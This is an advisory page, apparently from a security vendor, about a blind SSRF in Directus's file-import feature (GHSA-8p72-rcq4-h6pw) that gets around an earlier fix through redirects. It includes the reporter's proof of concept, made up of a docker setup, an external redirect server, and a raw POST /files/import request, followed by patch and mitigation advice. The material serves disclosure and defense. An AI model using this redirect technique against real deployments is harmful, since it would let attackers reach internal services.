GHSA-8p72-rcq4-h6pw is a medium-severity (CVSS 5) Server-Side Request Forgery (SSRF) vulnerability in @directus/api. 1 public exploit reference exists, so weaponization risk is real. A fix is available for @directus/api — see the affected versions and patch details below.
Directus Blind SSRF On File Import
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for GHSA-8p72-rcq4-h6pw.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-8p72-rcq4-h6pw plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,636 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
@directus/apinpmDescription
Summary
There was already a reported SSRF vulnerability via file import. https://github.com/directus/directus/security/advisories/GHSA-j3rg-3rgm-537h It was fixed by resolving all DNS names and checking if the requested IP is an internal IP address.
However it is possible to bypass this security measure and execute a SSRF using redirects. Directus allows redirects when importing file from the URL and does not check the result URL. Thus, it is possible to execute a request to an internal IP, for example to 127.0.0.1.
However, it is blind SSRF, because Directus also uses response interception technique to get the information about the connect from the socket directly and it does not show a response if the IP address is internal (nice fix, by the way :) ).
But the blindness does not fully mitigate the impact of the vulnerability. The blind SSRF is still exploitable in the real life scenarios, because there could be a vulnerable software inside of the network which can be exploited with GET request. I will show the example in the PoC. Also, you can check HackTricks page with some known cases.
Details
Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer.
PoC
For testing I used the docker compose with the latest directus version. Here is my docker compose file
version: "3"
services:
directus:
image: directus/directus:10.8.3
ports:
- 8055:8055
volumes:
- ./database:/directus/database
- ./uploads:/directus/uploads
- ./extensions:/directus/extensions
environment:
KEY: "redacted"
SECRET: "redacted"
ADMIN_EMAIL: "[email protected]"
ADMIN_PASSWORD: "redacted"
DB_CLIENT: "sqlite3"
DB_FILENAME: "/directus/database/data.db"
As a first step it is needed to setup a redirect server which will redirect the incoming request to some internal URL. I did it on my VPS with the public IP.
<img width="1035" alt="image" src="https://user-images.githubusercontent.com/156416961/296198555-870898b2-7b8a-4857-a8fe-5e28e85241b0.png">After it I setup a simple HTTP Server emulating the vulnerable application inside the internal network. It just execute any shell command provided in the cmd GET-parameter.
<img width="454" alt="image" src="https://user-images.githubusercontent.com/156416961/296198963-4465fa15-c6d6-4e8c-92a0-a2ae334ba79f.png">After it the directus import functionality was used
<img width="930" alt="image" src="https://user-images.githubusercontent.com/156416961/296199457-d5d8eb2d-1ca8-442e-b1bf-15ddb0f1947d.png">It initiates the following HTTP request
POST /files/import HTTP/1.1
Host: 127.0.0.1:8055
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Authorization: Bearer redacteed
Content-Type: application/json
Content-Length: 44
Origin: http://127.0.0.1:8055
Connection: close
Referer: http://127.0.0.1:8055/admin/files/+
Cookie: directus_refresh_token=redacted
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
{"url":"http://94.103.84.233:801","data":{}}
It can be seen on the redirect server that the request came to it.
And we can also see the request in the localhost server (the same host as directus), which confirms the bypass and the SSRF.
<img width="437" alt="image" src="https://user-images.githubusercontent.com/156416961/296201651-a9b61f5d-0ccd-4e3e-b137-e82fda8f5347.png">And the rce_poc file was created.
<img width="538" alt="image" src="https://user-images.githubusercontent.com/156416961/296201869-fed5fa94-ece5-497d-a091-c422b1f540a0.png">Impact
The impact is Blind SSRF. Using it an attacker can initiate HTTP GET requests to the internal network. For example, it can be used to exploit some GET-based vulnerabilities of other software in the internal network.
Fix proposition
I think there are two ways to fix this vulnerability:
- Disallow redirects for the import requests
- Check the Location header in the import request response if it is present. Drop the request if the Location url points to the internal IP.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | @directus/api | all versions | 17.1.0npm install @directus/api@17.1.0 |
Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @directus/api, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update @directus/api to 17.1.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-8p72-rcq4-h6pw is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-8p72-rcq4-h6pw can be triaged on real exposure rather than presence alone.
Tailored to GHSA-8p72-rcq4-h6pw. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-8p72-rcq4-h6pw in your dependencies?
O3 Security finds GHSA-8p72-rcq4-h6pw across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.